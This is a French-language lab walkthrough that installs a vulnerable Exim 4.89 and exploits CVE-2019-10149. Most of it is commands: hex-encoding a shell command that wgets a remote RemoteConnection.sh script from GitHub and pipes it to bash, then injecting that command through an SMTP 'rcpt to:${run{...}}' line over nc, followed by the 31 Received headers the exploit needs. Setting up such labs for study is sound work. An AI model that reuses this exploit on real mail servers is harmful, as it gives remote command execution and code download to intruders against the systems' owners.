CVE-2019-10149 - Exim 4.87 < 4.91

Instructions pour installer une version vulnérable d'Exim et son exploitation Testé sur Linux Ubuntu 16.04, Exim 4.89

Installation d'Exim

Téléchargez et extrayez la version 4.89 d'exim

• wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz

Déplacez-vous dans le dossier extrait

• cd exim-4.89/

Copiez et modifiez les fichiers de configuration requis

• sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile

• cp exim_monitor/EDITME Local/eximon.conf

Créez l'utilisateur et le groupe exim

• sudo groupadd -g 31 exim

• sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim

Installez les dépendances

• sudo apt-get update
• sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev

Installez exim 4.89

• sudo make install

Modifiez /usr/exim/configure pour autoriser le relais afin de pouvoir exploiter sans attendre 7 jours

• sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
• sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
• sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure

Exécutez exim en tant qu'utilisateur exim

• sudo -H -u exim /usr/exim/bin/exim -bd -d-receive

Création de l'exploit

Convertissez votre commande shell en hexadécimal. Exemple :

• /bin/sh -c “wget https://raw.githubusercontent.com/darsigovrustam/CVE-2019-10149/master/RemoteConnection.sh" -O - | bash
• \x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22\

Tableau pour exemple :

• \t-c\ = -c
• \t= space
• x20 = space
• x7C = |
• x2F = /
• x3A = :
• x2D = -
• x3E = >
• x26 = &
• x22 = "
• x2E = .

Utilisation de l'exploit

Nous utilisons d'abord nc pour établir une connexion au serveur.

• nc 192.168.0.168 25

Une fois connectés, nous envoyons HELO.

• helo localhost
• (Réponse : 250 exim Hello localhost [192.168.0.168])

Ensuite, nous définissons l'adresse de l'expéditeur sur vide.

• mail from:<>
• (Réponse : 250 OK)

Ensuite, nous définissons l'adresse du destinataire avec la charge utile que nous avons préparée plus tôt en insérant notre commande souhaitée là où se trouvent les points de suspension dans rcpt to:${run{...}}@localhost.

• rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
• (Réponse : 250 Accepted)

Et enfin, nous tapons d'abord DATA, suivi de 31 lignes, d'une ligne vide et d'un point.

• DATA
• Received: 1
• Received: 2
• Received: 3
• Received: 4
• Received: 5
• Received: 6
• Received: 7
• Received: 8
• Received: 9
• Received: 10
• Received: 11
• Received: 12
• Received: 13
• Received: 14
• Received: 15
• Received: 16
• Received: 17
• Received: 18
• Received: 19
• Received: 20
• Received: 21
• Received: 22
• Received: 23
• Received: 24
• Received: 25
• Received: 26
• Received: 27
• Received: 28
• Received: 29
• Received: 30
• Received: 31
• .